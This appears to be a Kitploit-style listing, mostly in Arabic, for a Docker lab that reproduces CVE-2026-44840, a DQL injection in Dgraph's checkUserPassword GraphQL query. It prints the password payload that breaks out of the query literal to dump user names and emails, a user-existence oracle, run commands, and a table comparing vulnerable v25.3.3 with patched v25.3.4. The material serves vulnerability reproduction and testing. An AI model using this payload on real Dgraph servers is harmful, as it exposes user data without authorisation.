CVE-2026-44840-poc — مختبر Docker يعيد إنتاج CVE-2026-44840، وهو حقن DQL في استعلام checkUserPassword GraphQL الخاص بـ Dgraph، مع نص استغلال ومقارنة بين النسخة المصابة والنسخة المُرقّعة. | Kitploit

@secret(field: "password")

graphql/resolve/query_rewriter.go

fmt.Sprintf

يشغّل مجموعتين من Dgraph (zero+alpha): v25.3.3 و v25.3.4.
يرفع المخطط type User @secret(field: "password") وينشئ admin و alice و bob.
يرسل إلى checkUserPassword كلمة مرور تخرج من النص الحرفي لـ DQL وتضيف كتلة استعلام عشوائية:
```
x")
}
injected(func: has(User.name)) {
  User.name
  User.email
  uid
}
#
```
في v25.3.3 تُحلَّل الكتلة injected { ... } وتُنفَّذ من جهة الخادم.

الاختبار	v25.3.3 (قابل للاستغلال)	v25.3.4 (مُرقَّع)
تسجيل الدخول بكلمة مرور صحيحة	OK (`touched_uids` 7)	OK (`touched_uids` 7)
تسجيل الدخول بكلمة مرور خاطئة	null (`5`)	null (`5`)
كلمة مرور محقونة `)} injected{...} #`	تُنفَّذ: `touched_uids` 14	مُبطَّلة: `5`
أوراكل: `eq(User.name,"bob")` محقون	`touched_uids` 7 (موجود)	`5`
أوراكل: `eq(User.name,"nobody")` محقون	`5` (غير موجود)	`5`
سجل `dgraph alpha`	يُظهر DQL مع الكتلة `injected`	DQL مُمرَّر كمعامل، بدون كتلة

# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh

# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py

# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280

# 4) limpiar
docker compose down            # conserva los volumenes
docker compose down -v         # borra los volumenes (datos de dgraph)

CVE-2026-44840-poc/
├── docker-compose.yml     # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql         # type User @secret(field:"password")
├── run.sh                 # orquestador completo
├── REDTEAM.md             # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py         # esquema + usuarios
└── exploit/exploit.py     # inyeccion DQL e oraculo

x")            # cierra el literal de checkpwd y la funcion
}              # cierra el bloque checkPwd
injected(...)  # nuevo bloque root del atacante
  { ... }
#              # comenta el resto del template:  ")

الخدمة	HTTP GraphQL	HTTP admin	gRPC alpha
alpha v25.3.3	`http://localhost:8180/graphql`	`http://localhost:8180/admin`	`9180`
alpha v25.3.4	`http://localhost:8280/graphql`	`http://localhost:8280/admin`	`9280`

CVE-2026-44840-poc

الأكثر شعبية

ماذا يفعل الـ PoC

الملاحظات

الاستخدام

نقاط نهاية المختبر

البنية

تفاصيل الحمولة

التخفيف